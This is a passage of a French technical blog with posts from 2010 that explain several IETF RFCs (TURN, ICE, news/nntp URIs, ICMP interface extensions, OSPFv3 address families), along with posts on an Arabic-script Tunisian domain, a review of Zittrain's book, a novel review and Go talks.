Mais, parfois, le NAT ne se comporte pas bien et il n'existe aucune solution permettant le transport direct des données entre Héloïse et Abélard. La solution utilisée par tous les systèmes pair-à-pair, par exemple en téléphonie sur Internet, est de passer par un relais. Normalement, le serveur STUN ne sert qu'à un petit nombre de paquets, ceux de la signalisation et les données elles-mêmes (ce qui, en téléphonie ou en vidéo sur IP, peut représenter un très gros volume) vont directement entre Héloïse et Abélard. Avec TURN, le serveur STUN devient un relais, qui transmet les paquets de données. turn

TURN représente donc une charge beaucoup plus lourde pour le serveur, et c'est pour cela que cette option est restreinte au dernier recours, au cas où on ne peut pas faire autrement. Ainsi, un protocole comme ICE (RFC 8445) donnera systématiquement la préférence la plus basse à TURN. De même, le serveur TURN procédera toujours à une authentification de son client, car il ne peut pas accepter d'assurer un tel travail pour des inconnus (l'authentification - fondée sur celle de STUN, RFC 5389, section 10.2 - et ses raisons sont détaillées dans la section 4). Il n'y aura donc sans doute jamais de serveur TURN public.

TURN est défini comme une extension de STUN, avec de nouvelles méthodes et de nouveaux attributs. Le client TURN envoie donc une requête STUN, avec une méthode d'un type nouveau, Allocate, pour demander au serveur de se tenir prêt à relayer (les détails du mécanisme d'allocation figurent dans les sections 5 et 6). Le client est enregistré par son adresse de transport (adresse IP publique et port). Par exemple, si Héloise a pour adresse de transport locale 10.1.1.2:17240 (adresse IP du RFC 1918 et port n° 17240), et que le NAT réécrit cela en 192.0.2.1:7000, le serveur TURN (mettons qu'il écoute en 192.0.2.15) va, en réponse à la requête Allocate, lui allouer, par exemple, 192.0.2.15:9000 et c'est cette dernière adresse qu'Héloïse va devoir transmettre à Abélard pour qu'il lui envoie des paquets, par exemple RTP. Ces paquets arriveront donc au serveur TURN, qui les renverra à 192.0.2.1:7000, le routeur NAT les transmettant ensuite à 10.1.1.2:17240 (la transmission des données fait l'objet des sections 10 et 11). Pour apprendre l'adresse externe du pair, on utilise ICE ou bien un protocole de « rendez-vous » spécifique.

Ah, et comment le serveur TURN a t-il choisi le port 9000 ? La section 6.2 détaille les pièges à éviter, notamment pour limiter le risque de collision avec un autre processus sur la même machine.

TURN ne fonctionne que sur IPv4, car c'est pour ce protocole que des NAT sont présents. (Une extension pour relayer vers IPv6, afin de faciliter éventuellement la transition entre les deux familles, a été normalisée dans le RFC 6156.) TURN peut relayer de l'UDP ou du TCP (section 2.1) mais le serveur TURN enverra toujours de l'UDP en sortie (une extension existe pour utiliser TCP en sortie, RFC 6062). La section 2.1 explique aussi pourquoi accepter du TCP en entrée quand seul UDP peut être transmis : la principale raison est l'existence de coupe-feux qui ne laiseraient sortir que TCP.

Les données peuvent circuler dans des messages STUN classiques (nommés Send et Data, cf. section 10) ou bien dans des canaux virtuels (channels, sortes de sous-connexions, section 11) qui permettent d'éviter de transmettre les en-têtes STUN à chaque envoi de données.

Enfin, la section 17, très détaillée, note également que TURN ne peut pas être utilisé pour contourner la politique de sécurité : l'allocation ne se fait que pour une adresse IP d'un correspondant particulier (Abélard), TURN ne permet pas à Héloïse de faire tourner un serveur. Ce point permet de rassurer les administrateurs de coupe-feux et de leur demander de ne pas bloquer TURN.

Autre point important de cette section sur la sécurité : comme certains messages ne sont pas authentifiés, un méchant peut toujours envoyer au client des messages qui semblent venir du serveur et réciproquement. Le problème existe, mais c'est un problème plus général d'IP. TURN ne le résout pas mais ne l'aggrave pas (section 17.1.4).

Les implémenteurs seront sans doute intéressés par la section 12, qui explique comment traiter les en-têtes IP (voir aussi la 2.6). TURN travaille dans la couche 7, il n'est pas un « routeur virtuel » mais un relais applicatif. En conséquence, il ne préserve pas forcément des en-têtes comme ECN ou comme le TTL. Cela permet son déploiement sur des systèmes d'exploitation quelconque, où il n'est pas forcément facile de changer ces en-têtes. Pour la même raison, TURN ne relaie pas l'ICMP et la découverte traditionnelle de MTU (RFC 1191) à travers TURN ne marche donc pas.

À propos d'implémentations, il existe au moins une mise en œuvre libre de TURN, turnserver.

TURN a mis des années et des années à être publié. Certains débats, anycast pour trouver un serveur, cf. section 2.9, le fait de ne relayer qu'UDP et qu'IPv4, les allocations non-preserving, c'est-à-dire qui ne garantissent pas le respect des en-têtes IP comme ceux de DSCP, tous ces sujets ont été l'occasion de longs débats...


Téléchargez le RFC 5766


L'article seul

RFC 5245: Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal for Offer/Answer Protocols

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : J. Rosenberg (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF mmusic
Première rédaction de cet article le 30 avril 2010


Le problème de la traversée des routeurs NAT continue à susciter une grande activité normalisatrice, de façon à réparer la grossière erreur qu'avait été le déploiement massif du NAT plutôt que celui de IPv6. ICE est un « méta-protocole », orchestrant plusieurs protocoles comme STUN et TURN pour arriver à découvrir un canal de communication malgré le NAT. Spécifié à l'origine dans ce RFC, il est désormais normalisé dans le RFC 8445.

L'objectif principal est la session multimédia, transmise entre deux terminaux, en général en UDP. ICE sera donc surtout utilisé au début par les solutions de téléphonie sur IP. Ces solutions ont déjà dû affronter le problème du NAT et ont développé un certain nombre de techniques, dont la bonne utilisation est l'objet principal de notre RFC.

En effet, les protocoles de téléphonie sur IP, comme SIP (RFC 3261) ont en commun d'avoir une session de contrôle de la connexion, établie par l'appelant en TCP (et qui passe en général assez bien à travers le NAT, si l'appelé utilise un relais public) et une session de transport des données, en général au dessus de UDP. C'est cette session qui est en général perturbée par le NAT. La session de contrôle transmet au partenaire SIP l'adresse IP de son correspondant mais, s'il y a deux domaines d'adressage séparés (par exemple un partenaire sur le domaine public et un autre dans le monde des adresses privées du RFC 1918), cette adresse IP ainsi communiquée ne sert pas à grand'chose.

On voit donc que le non-déploiement d'IPv6, qui aurait permis de se passer du NAT, a coûté très cher en temps de développement. Notre RFC fait 119 pages, et se traduira par du code réseau très complexe, uniquement pour contourner une mauvaise décision.

Des solutions au NAT, soit standard comme STUN (RFC 5389) soit purement spécifiques à un logiciel fermé comme Skype ont été développées. Mais aucune n'est parfaite, car tous les cas sont spécifiques. Par exemple, si deux machines sont sur le même réseau local, derrière le même routeur NAT, faire appel à STUN est inutile, et peut même échouer (si le routeur NAT ne supporte pas le routage en épingle à cheveux). Le principe d'ICE est donc de décrire comment utiliser plusieurs protocoles de traversée de NAT, pour trouver la solution optimale pour envoyer les paquets de la session de données.

Le principe d'ICE, exposé dans la section 2 et détaillé dans la 4, est donc le suivant : chaque partenaire va déterminer une liste de paires d'adresses de transport candidates (en utilisant leurs adresses IP locales, STUN et TURN), les tester et se mettre d'accord sur la « meilleure paire ». Une adresse de transport est un couple (adresse IP, port).

La première étape est donc d'établir la liste des paires, et de la trier par ordre de priorité. La section 4.1.2.1 recommande une formule pour calculer la priorité, formule qui fait intervenir une préférence pour le type d'adresses IP (une adresse locale à la machine sera préférée à une adresse publique obtenue par STUN, et celle-ci sera préférée à l'adresse d'un serveur relais TURN) et une préférence locale, par exemple pour les adresses IPv6 par rapport à IPv4. On notera donc (section 4.1.2.2) qu'ICE facilitera le fonctionnement des machines à double pile (v4 et v6) en fournissant un moyen simple de préférer une des deux familles, tout en pouvant se rabattre sur l'autre.

La deuxième étape est de tester les paires (section 2.2 et 7) pour déterminer celles qui marchent. ICE permet d'arrêter les tests dès le premier succès (aggressive nomination) ou bien de les poursuivre, pour voir si un meilleur RTT peut être trouvé (regular nomination).

La troisième et dernière étape d'ICE est de sélectionner la meilleure paire (en terme de priorité) parmi celles qui ont fonctionné. Les couples (adresse IP, port) de celles-ci seront alors utilisées pour la communication.

L'ensemble du processus est relativement compliqué et nécessite de garder un état sur chaque partenaire ICE, alors qu'ICE est inutile pour des machines qui ont une adresse IP publique. La section 2.7 introduit donc la possibilité de mises en œuvres légères (lite implementation) d'ICE, qui peuvent interagir avec les autres machines ICE, sans avoir à gérer tout le protocole.

Tous ces tests prennent évidemment du temps, d'autant plus de temps qu'il y a de paires d'adresse de transport « nominées ». C'est le prix à payer pour la plus grande souplesse d'ICE : il sera toujours plus lent que STUN seul. La section 12.1 se penche donc sur ce problème et suggère de ne pas attendre le dernier moment pour commencer les tests ICE. Par exemple, un téléphone matériel peut les commencer dès qu'il est décroché, sans attendre la composition du numéro.

Les protocoles de téléphonie sur IP ayant eu leur part de vulnérabilités, la section 18, sur la sécurité, est très détaillée. Par exemple, une attaque classique est d'établir une communication avec un partenaire, puis de lui demander d'envoyer le flux de données vers la victime. C'est une attaque par amplification classique, sauf que l'existence d'une session de données séparée de la session de contrôle fait qu'elle ne nécessite même pas de tricher sur son adresse IP (et les techniques du RFC 2827 sont donc inefficaces). Cette attaque, dite « attaque du marteau vocal », peut être combattue grâce à ICE, puisque le test de connectivité échouera, la victime ne répondant pas (puisqu'elle n'a rien demandé). Si tout le monde utilise ICE, cette attaque peut donc complètement disparaitre.

D'innombrables détails compliquent les choses et expliquent en partie la taille de ce RFC. Par exemple, la section 10 décrit l'obligation d'utiliser des keepalives, des paquets inutiles mais qui ont pour seul but de rappeler au routeur NAT que la session sert toujours, afin que les correspondances entre une adresse IP interne et une adresse externe restent ouvertes (le flux de données ne suffit pas forcément, car il peut y avoir des périodes d'inactivité). Tous les protocoles de la session de données ne permettant pas forcément d'envoyer des paquets « bidon », notre RFC suggère même d'envoyer délibèrement des paquets incorrects, pour faciliter leur élimination par le partenaire.

Enfin, une intéressante section 20 décrit les problèmes pratiques du déploiement (c'est une préoccupation rare dans les RFC). Par exemple, la planification de la capacité des serveurs est discutée en 20.2.1. Un serveur STUN n'a pas besoin de beaucoup de bande passante, mais un serveur TURN, oui, puisqu'il relaie tous les paquets, y compris ceux de la session de données.

La première version d'ICE ne gérait que l'UDP mais, depuis la publication du RFC 6544, TCP est également accepté.

Il existe déjà au moins une implémentation, pjnath.


Téléchargez le RFC 5245


L'article seul

RFC 5538: The 'news' and 'nntp' URI Schemes

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : F. Ellermann (xyzzy)
Chemin des normes
Première rédaction de cet article le 29 avril 2010


Le Web avait introduit un concept nouveau et génial, les URL (bon, aujourd'hui, on dit plutôt URI mais, en pratique, la différence est plus faible qu'on ne le prétend souvent). Ces URL ont un plan (scheme) qui indique la syntaxe utilisée. Le RFC 3986, qui normalise les URL, n'indique aucun plan particulier, chacun est décrit dans un RFC différent, par exemple http:, décrit dans la section 3.2.2 du RFC 2616 ou telnet: dans le RFC 4248. Notre RFC, lui, spécifie les plans news: et nntp: pour l'accès aux ressources Usenet.

Autrefois, ce plan, comme beaucoup d'autres, était spécifié dans le RFC 1738, qui normalisait le concept d'URL. Tous les autres avaient migré vers un RFC plus récent, seuls news: et nntp: restaient et le RFC 1738, bien dépassé, ne pouvait pas être officiellement reclassé à cause d'eux. Désormais, le RFC 1738 peut enfin passer au statut « historique », une retraite bien méritée.

Le débat a été très long car tout le monde pensait que les normes techniques d'Usenet seraient mises à jour plus rapidement et qu'il était donc logique de les attendre pour définir les URI d'Usenet. En fait, le RFC 5537 s'est fait longtemps attendre.

Le plan news:, sections 2.2 et 4, permet de récupérer un article d'Usenet sans indiquer de nom de serveur NNTP, en se référant uniquement au « Message-ID » (la section 7 du RFC rappelle bien que le « Message-ID » n'est pas forcément unique et que, de toute façon, les URI Usenet ne sont pas tellement permanents). Un exemple d'un tel URI est news:p0624081dc30b8699bf9b@%5B10.20.30.108%5D. À noter que, pour chercher un message ayant un Message-ID donné, on peut se servir de Google Groups (l'option « Lookup the message with message ID »). Cela ne gère pas de vrai URI conforme à ce RFC, mais c'est mieux que rien (on peut aussi sauter directement au résultat avec http://groups.google.com/groups/search?as_umsgid= + Message-ID, qui peut s'emballer dans une extension OpenSearch).

Le plan nntp: (sections 2.1 et 3) nécessite, lui, de nommer explicitement le serveur NNTP. Un exemple d'un URI est nntp://news.gmane.org/gmane.ietf.tools/742.

Un des gros changements par rapport au texte qui se trouvait dans le RFC 1738 concerne l'internationalisation (section 6). Les noms des groupes Usenet peuvent désormais être en UTF-8, avec l'encodage « pour cent » des URI.

Merci à Nicolas Krebs pour ses idées, indications et encouragement.


Téléchargez le RFC 5538


L'article seul

Au travail sur le .تونس

Première rédaction de cet article le 28 avril 2010
Dernière mise à jour le 21 juin 2010


Dans le cadre du programme d'enregistrement d'IDN dans la racine du DNS, la Tunisie (via l'ATI) a demandé la création d'un .تونس, équivalent en caractères arabes du .tn. Le travail se fait en partenariat avec l'AFNIC, d'où mon implication.

Pourquoi des IDN en écriture arabe sont-ils nécessaires ? D'une manière générale, tout humain a droit d'utiliser les caractères auquel il est habitué pour écrire des noms de domaine. Mais c'est encore plus important en arabe à cause de l'écriture de droite à gauche. Un FQDN mixte (caractères latins et arabes) serait très déroutant pour l'utilisateur, une partie allant de gauche à droite et l'autre en sens inverse. D'autant plus que le point, utilisé pour séparer les composants d'un nom de domaine, n'a pas de directionnalité dans l'algorithme bidi d'Unicode (Unicode Standard Annex #9).

Maintenant, les tunisiens ont-ils vraiment « besoin » des domaines en arabe ? On pourrait croire que non puisque la quasi-totalité des tunisiens qui savent lire et écrire maitrisent autant l'alphabet latin que l'arabe. Mais il faut aussi penser aux arabes non tunisiens qui consulteront des sites Web en .تونس. Et, d'une manière générale, l'administration tunisienne évolue peu à peu vers une plus grande « arabisation », justifiant que l'adresse (l'URL) utilise l'écriture arabe, comme le contenu.

Ce projet a déjà fait l'objet d'articles. Actuellement, la chaîne de caractères تونس (xn--pgbs0dh en Punycode, cf. RFC 3492) a été acceptée par l'ICANN, il reste :

  • À obtenir qu'elle soit mise dans la racine, ce qui va prendre du temps. Cela dépend de l'ICANN et du gouvernement états-unien, qui a un contrôle exclusif sur le contenu de la racine.
  • À enregistrer des noms en écriture arabe sous .تونس. Les caractères acceptés n'ont pas été annoncés mais il serait logique qu'ils soient ceux du RFC 5564, qui sont ceux de la langue arabe (je rappelle que langue et écriture sont deux choses différentes ; à noter au passage qu'il y a très peu de berbérophones en Tunisie, ce qui simplifie la question).

Tiens, au fait, comment écrire le nom de ce domaine ? .تونس ou bien تونس. ? Le problème est d'autant plus complexe que ce n'est pas réglé en caractères latins non plus. Le marketing écrit plutôt .FR et les techniciens FR. (le point représentant la racine, qui est à droite, et c'est en outre la syntaxe qu'accepte dig). Mais l'écriture de droite à gauche ajoute un nouveau niveau de perplexité.

Et les problèmes techniques ? En fait, en utilisant des techniques récentes (langage de programmation Python, SGBD PostgreSQL) qui sont Unicode depuis longtemps, il n'y a pas grand'chose à faire. Unicode est compliqué conceptuellement mais, en pratique, le programmeur qui choisit les bons outils n'a guère de travail supplémentaire. Toutefois, tout n'est pas encore parfait et, comme on peut le voir sur cette copie d'écran, si le terminal a bien accepté l'UTF-8, il a par contre affiché le texte arabe dans le mauvais sens... (Avertissement : il ne s'agit évidemment pas des noms de domaines réels, c'est une base de test.)


L'article seul

Fiche de lecture : The future of the Internet

Auteur(s) du livre : Jonathan Zittrain
Éditeur : Penguin books
978-0-141-03159-0
Publié en 2008
Première rédaction de cet article le 27 avril 2010


Que nous réserve le futur de l'Internet ? Dans quelle direction va t-il aller ? Bien sûr, cela dépend de nos actions, à nous, citoyens et utilisateurs de l'Internet. Mais cela n'interdit pas, bien au contraire, que l'expert se penche sur la question et essaie d'identifier ce qui va influencer ce futur, et quels sont les choix possibles. C'est ce que fait Jonathan Zittrain dans son célèbre livre « The future of the Internet », essentiellement consacré à la question de la générativité, c'est-à-dire de la possibilité, pour une technologie, de produire plus que ce pourquoi elle avait été conçue.

L'Internet est loin d'être le premier objet technique à faire preuve de générativité. Zittrain remonte au réseau téléphonique traditionnel et aux luttes entre AT&T et les fabriquants d'« extensions » qui concevaient des dispositifs pouvant se brancher sur le réseau téléphonique comme les premiers répondeurs (ou, plus exotique, comme des cornets qui permettaient de parler plus discrètement dans le téléphone). AT&T a toujours lutté avec acharnement contre ces extensions, les accusant d'être dangereuses pour le réseau, alors qu'en fait c'est la générativité qui les inquiétait : si n'importe qui peut proposer des nouveaux services, c'est le monopole d'AT&T, son contrôle complet du réseau, qui se dilue.

L'exemple donné par Zittrain est états-unien mais, en France, l'ancienne DGT avait fait pareil, en exigeant par exemple un agrément des modems, qui limitait les utilisateurs aux rares modems agréés, lents et hors de prix. Cela a duré jusqu'au milieu des années 1990, limitant sérieusement le développement des technologies de la communication en France.

Le modem est en effet un exemple parfait de générativité : il permet d'utiliser le POTS d'une manière pour laquelle il n'a pas du tout été prévue...

Ces combats d'arrière-garde semblent bien loin aujourd'hui. Alors, la générativité de l'Internet est-elle menacée ? Oui, certainement, dit Zittrain. Notamment par le remplacement des PC (machines très génératives) par des engins fermés et complètement contrôlés par un constructeur, les appliances, machines vouées à un seul usage et qu'on ne peut pas détourner (elles sont tethered - ligotées, dit Zittrain). L'exemple archétypal est l'iPhone, où le constructeur décide seul des applications qui pourront tourner dessus. Avec de telles machines, plus d'innovation possible.

Pourtant, elles ne sont pas sans avantages. Ne faisant tourner que du logiciel contrôlé, elles sont plus prévisibles que les PC et souvent plus simples d'usage. Si les utilisateurs choisissent ces appliances, ce n'est pas uniquement parce qu'ils sont des victimes abruties du marketing d'Apple. C'est aussi parce que l'être humain est partagé entre son goût de l'innovation et de l'aventure et son désir de sécurité.

Car Zittrain ne présente pas les choses de manière unilatérale. Il parle au contraire en détail des dangers de la générativité : dangers techniques (comme illustré par l'une des premières grandes failles de sécurité de l'Internet, le ver Morris) mais aussi des dangers plus sociaux. Car la générativité de l'Internet ne concerne pas que la technique. Elle s'applique aux usages, comme le montrent des grands succès (Wikipédia), mais aussi des projets de justice privée parfois contestables (Zittrain cite MAPS), voire abominables (comme les sites qui utilisent les techniques UGC pour publier des informations détaillées sur le personnel des cliniques d'IVG, avec appel au meurtre).

Ici comme ailleurs, la sécurité sera toujours un compromis. Dans un monde où toutes les machines connectées au réseau seraient des tethered appliances, il n'y aurai plus de progrès ni de liberté. Mais dans un monde de PC infestés de virus et autre malware, il y aurait une telle insécurité que, en pratique, on ne pourrait pas faire grand'chose du réseau non plus ! En bon universitaire, Zittrain est tout en nuances et ne manque pas de présenter les deux aspects du problème.

Néanmoins, il choisit clairement son camp : la générativité, c'est la vie et il faut faire attention à ne pas l'étouffer sous prétexte d'augmenter la sécurité. Zittrain cite à de nombreuses reprises un terme néerlandais, verkeersbordvrij, qui désigne des expériences de ville sans panneaux de circulation. En effet, certaines expériences faites aux Pays-Bas semblent indiquer que, en présence de trop nombreuses règles, les humains réagissent en se transformant en robots, qui suivent les règles aveuglément et oublient leur bon sens et leur jugement. Le verkeersbordvrij consiste à supprimer certaines règles pour que les automobilistes redeviennent responsables... Un intéressant pari sur la victoire finale de l'intelligence sur l'abrutissement.


L'article seul

Le sang des rêves

Première rédaction de cet article le 26 avril 2010


Deuxième livre de Mine Kirikkanat traduit en français. Dans « La malédiction de Constantin », son précedent roman, la romancière turque plongeait le lecteur dans un thriller géo-politique, où la destruction d'Istanbul dans un tremblement de terre (la malédiction dudit Constantin) servait de prétexte aux armées états-uniennes et européennes pour démanteler la Turquie, sous couvert d'intervention humanitaire (ça ne vous rappelle rien ?).

Pour le lecteur européen, la plongée dans la politique turque était assez surprenante. L'auteur est féministe, déteste les intégristes, mais soutient l'armée, supposée être un rempart contre l'intégrisme, et cela la conduit à voir des intégristes derrière des mouvements d'émancipation comme ceux des kurdes.

Avec « Le sang des rêves », Mine Kirikkanat a augmenté ses ambitions. On retrouve les mêmes personnages, quelques années après la disparition de la Turquie, au cœur d'une conspiration mondiale qui oppose Russes d'un côté, Européens et États-Uniens de l'autre, pour rétablir Constantinople (mais ils sont en désaccord quant au descendant de Constantin à placer à sa tête). La technique a vite progressé et l'agent secret européen pratique la télépathie et enquête en rêvant... notamment sur des meurtres commis il y a des siècles.

Bon, c'est assez confus, se prendre pour Tom Clancy et Dan Brown à la fois est sans doute assez exagéré. Mais, question complot mondial et agents secrets, cela change des romans états-uniens habituels...

Sur le roman « Tempête de métal », un livre du même style, mais apparemment situé nettement plus à droite sur l'échiquier politique, voir la bonne analyse de Ebru Bulut, que m'a signalée Nicolas Krebs.


L'article seul

Exposés sur le langage de programmation Go

Première rédaction de cet article le 26 avril 2010
Dernière mise à jour le 20 avril 2011


J'ai fait un exposé d'introduction au langage de programmation Go à deux conférences, Parinux le 11 mai 2010, et OSDC le 10 octobre 2010, toutes les deux à Paris. L'exposé a été mis à jour à l'occasion d'une présentation de Go à l'ENAC à Toulouse le 19 avril 2011. Voici les transparents de cet exposé :

Et une vidéo de la présentation OSDC est disponible.

Si on veut lire un article critique très détaillé sur Go, il y a par exemple « The Language I Wish Go Was  » de Bob Nystrom.


L'article seul

RFC 5837: Extending ICMP for Interface and Next-hop Identification

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Atlas, R. Bonica (Juniper), C. Pignataro (Cisco), JR. Rivers, N. Shen (Cisco)
Chemin des normes
Première rédaction de cet article le 25 avril 2010


Depuis les débuts d'IP, les routeurs envoient des messages ICMP à l'émetteur lorsqu'ils ne peuvent pas transmettre un datagramme. Ces messages, normalisés dans les RFC 792 et RFC 4443, donnent un certain nombre d'informations sur le datagramme original mais ne contiennent pas les informations internes au routeur comme l'interface réseau par lequel le datagramme original est arrivé, ou bien l'adresse IP du routeur auquel il aurait été transmis. Ce RFC normalise des extensions pour transmettre cette information.

Donc, quand un routeur reçoit un datagramme qu'il ne peut pas ou ne veut pas faire suivre, il renvoie un message ICMP (RFC 1812, notamment la section 4.3). Parfois, l'interface réseau sur laquelle a été reçue le datagramme original (celui dont la non-transmission a nécessité l'émission d'un message ICMP) est identifiée par l'adresse IP source du message ICMP. Mais pas toujours (section 2 du RFC). Pour que cela marche, en effet, il faut que le routeur aie envoyé le message ICMP par l'interface où le datagramme original avait été reçu et que cette interface soit « numérotée » (aie une adresse IP en propre). Mais le routage peut être asymétrique (auquel cas le message ICMP sort par une autre interface que celle où le datagramme IP était entrée) et les interfaces n'ont pas forcément une adresse IP.

IPv6 fournit d'autres possibilités (RFC 4443) pour la sélection de l'adresse IP source du message d'erreur. Mais, dans les deux cas, IPv4 ou IPv6, il n'existe pas de moyen fiable d'indiquer l'interface d'entrée du datagramme original. D'où l'extension de notre RFC. Celle-ci permet d'indiquer le nom de l'interface (identique au ifName du RFC 2863), ses adresses IP, etc.

Pour cela, cette extension repose sur le concept de messages ICMP structuré, défini dans le RFC 4884.

La section 3 donne des exemples d'application de cette extension. Par exemple, elle peut être utilisée par traceroute pour améliorer l'information donnée à l'utilisateur (section 3.1). Malheureusement, je ne connais pas encore de mise en œuvre de traceroute qui utilise cette extension.

Même des informations a priori complètement opaques (comme le numéro - ifIndex - de l'interface où le routeur avait reçu le datagramme original) peuvent être utiles, par exemple pour voir si deux paquets étaient entrés par la même interface.

Comme cette extension permet également d'identifier quelle aurait été l'interface de sortie du datagramme original (s'il avait été transmis), elle peut servir à déboguer des problèmes de filtrage spécifiques à une interface, ou bien à résoudre les problèmes de MTU (section 3.2).

L'extension est formellement décrite dans la section 4. Elle a la forme d'un objet (RFC 4884), le Interface Information Object. Cet objet porte le numéro de classe 2 dans le registre IANA (cf. section 7). Il est joint aux paquets ICMP comme Time Exceeded ou Destination Unreachable. Le sous-type (section 4.1, c-type dans le RFC 4884) identifie le rôle de l'interface du routeur et quelles informations sont incluses (par exemple, le cinquième bit du sous-type indique si l'objet comprend l'information sur l'adresse IP de l'interface considérée). Quels sont les rôles possibles pour l'interface à propos de laquelle l'objet d'information est envoyé ? Par exemple, les deux premiers bits du sous-type à zéro indiquent que l'interface est celle d'entrée du datagramme originel. Le premier bit à 1 et le second à zéro indiquent que l'objet décrit au contraire l'interface de sortie (enfin, celle qui aurait été utilisée si le paquet avait été transmis).

Les sections suivantes décrivent le format des sous-objets d'information. Par exemple, si une adresse IP est présente (bit 5 du sous-type), son format figure en section 4.2 (la famille, IPv4 ou IPv6, puis l'adresse elle-même). Si le nom de l'interface est présent (bit 6 du sous-type), le format de ce nom est décrit par la section 4.3 (un octet pour la longueur, puis le nom en UTF-8, suivant la description de la MIB-II, dans le RFC 2863, par exemple eth1 ou Ethernet0/3).

Pour aider à la compréhension, la section 4.4 donne des exemples détaillés de paquets utilisant cette extension ICMP. Si vous n'avez pas compris mes explications, les exemples de cette section rendront tout cela plus clair.

Ces paquets ICMP étendus permettent de transmettre des informations d'un réseau à un autre, peut-être en traversant les frontières d'un espace d'adressage particulier. Si un routeur sur un réseau interne émet ces paquets ICMP, et qu'ils passent par un routeur NAT pour atteindre la machine de gestion, que va t-il se passer ? Les adresses IP contenues dans le paquet ICMP peuvent n'avoir plus aucun sens. La section 5 s'attaque à ce problème, déjà abordé dans le RFC 5508. La règle est simple : toute « traduction » de l'objet d'information est interdite. Le routeur NAT doit laisser passer cet objet intact ou le retirer mais jamais le modifier. Le destinataire du message ICMP et de l'objet qu'il contient est donc averti que les adresses IP de l'objet peuvent concerner un autre domaine d'adressage et peuvent donc ne pas être pertinentes.

Quels autres problèmes peut poser cette extension ICMP ? Comme elle distribue davantage d'information qu'avant, il existe des risques de confidentialité. Avant, un routeur ne révelait pas quelle était l'interface d'entrée ou de sortie du datagramme qu'il n'avait pas routé. Désormais, il peut le faire et certains administrateurs réseau peuvent estimer que cette information ne doit pas sortir. La section 6, sur la sécurité, leur donne raison en spécifiant que la diffusion de cette information devrait être configurable, par exemple pour permettre de ne pas diffuser certains points.

Enfin, dernier avertissement, rien n'authentifie le contenu des paquets ICMP. Il ne faut donc pas se fier aveuglément au contenu des ces objets d'information.

Je n'ai pas d'informations sur les implémentations de ce RFC. Peut-être faudra t-il attendre.


Téléchargez le RFC 5837


L'article seul

RFC 5838: Support of address families in OSPFv3

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Lindem (Ericsson), S. Mirtorabi, A. Roy, M. Barnes (Cisco), R. Aggarwal (Juniper)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ospf
Première rédaction de cet article le 25 avril 2010


Les relations du protocole de routage OSPF avec le fait qu'il existe plusieurs familles de protocoles IP (IPv4 et IPv6) ont toujours été compliquées. En pratique, la totalité des déploiements actuels d'OSPF dans un environnement mixte (v4 et v6) se font avec deux installations séparées, une utilisant OSPF v2 (RFC 2328) pour IPv4 et une utilisant OSPF v3 (RFC 5340) pour IPv6. Cela complique la tâche de l'administrateur réseaux et notre RFC propose donc une autre approche, un mécanisme simple pour utiliser le protocole le plus récent, OSPF v3, pour toutes les familles.

Ce n'est pas la première tentative pour faire d'OSPF v3 (normalisé dans le RFC 5340) un protocole de routage multi-familles. Mais, jusqu'à présent, OSPF v3 n'était utilisé que pour IPv6. Ce RFC 5838 vise la simplicité en minimisant les changements au protocole. Il s'appuie sur un mécanisme existant d'OSPF v3, les instances (section 2.4 du RFC 5340). En gros, chaque instance est une incarnation du protocole OSPF, avec sa propre base, mais gérée par le même routeur (ce qui minimise le travail pour l'administrateur).

La section 1 précise que chaque famille d'adresse (IPv4, IPv6 mais aussi des choses plus exotiques comme multicast IPv6) sera mise en correspondance avec une instance OSPF v3. Cela permet d'atteindre l'objectif de simplicité (section 1.1) puisqu'on n'introduit pas de nouveau mécanisme, les instances existant déjà) mais cela empêche les différentes familles de partager l'information, chaque instance ayant sa propre base de données. Si un lien qui sert à IPv4 et IPv6 tombe, il faudra le détecter deux fois et faire les calculs SPF deux fois (routage dit des « navires dans la nuit » car les différentes instances ne se voient pas : elles partagent le logiciel et une partie de la configuration, mais pas les bases).

La section 2 détaille l'affectation des numéros d'instance (Instance ID, un octet dans l'en-tête OSPF). L'idée est d'affecter des plages de numéros d'instances à chaque famille. Ainsi (section 2.1), l'unicast IPv6 a les numéros de 0 à 31, l'unicast IPv4 de 64 à 95, etc (128 à 255 sont actuellement libres, un RFC ayant le statut de norme étant nécessaire si on veut les utiliser). La liste complète des plages figure dans un registre IANA (cf. section 5).

À noter que OSPF v3 tourne uniquement sur IPv6, même lorsque les routeurs échangent de l'information sur des préfixes IPv4. Il faut donc activer IPv6 sur tous les liens, même si IPv6 n'est pas routé (un routeur OSPF v3 utilise les adresses « locales au lien » pour communiquer avec ses pairs).

Comme les routeurs OSPFv3 qui utilisent notre nouveau RFC coexisteront dans les réseaux avec les « vieux » routeurs, il est préférable d'avoir un mécanisme de signalisation pour les distinguer. C'est l'objet de la section 2.2 qui définit les bits du champ Options de OSPF (annexe A.2 du RFC 5340). Le bit v6, qui était déjà défini, est désormais ignoré (puisque la famille d'adresses est indiquée via l'Instance ID et un nouveau bit reçoit une signification, le n° 15, le bit AF (pour Address Family) qui, s'il est mis à un, indique un routeur conforme à ce RFC 5838. Un routeur configuré pour notre RFC doit ignorer les paquets où ce bit n'est pas mis (section 2.4) sauf pour l'unicast IPv6 (afin de pouvoir continuer à utiliser OSPFv3 comme avant). Cette heureuse coexistence entre anciens en nouveaux est décrite plus précisément en section 3.

En revanche, il n'y a pas de changement dans la définition des LSA (Link State Advertisements, les paquets qui portent la description d'un lien), OSPFv3 les avait déjà prévu « multi-protocoles » en indiquant explicitement la longueur du préfixe et la famille d'adresses (section 2.3). De même, l'adresse du routeur à utiliser n'est pas celle du pair OSPF (qui est forcément une adresse IPv6) mais est mise dans le LSA (section 2.5 ainsi que la section 4.4.3.8 du RFC 5340) et peut donc être une adresse IPv4.


Téléchargez le RFC 5838


L'article seul

Manière de voir : « Internet, révolution culturelle »

Première rédaction de cet article le 16 avril 2010


Le numéro 109 de « Manière de voir », supplément du Monde Diplomatique est consacré à l'Internet, qualifié de « révolution culturelle ». Ce n'est pas un dossier unifié mais une collection d'articles très différents et souvent contradictoires. Je ne sais pas trop s'il faut se féliciter de ce pluralisme, ou bien regretter que le Monde Diplomatique aie collectionné des articles sans faire trop attention à leur cohérence.

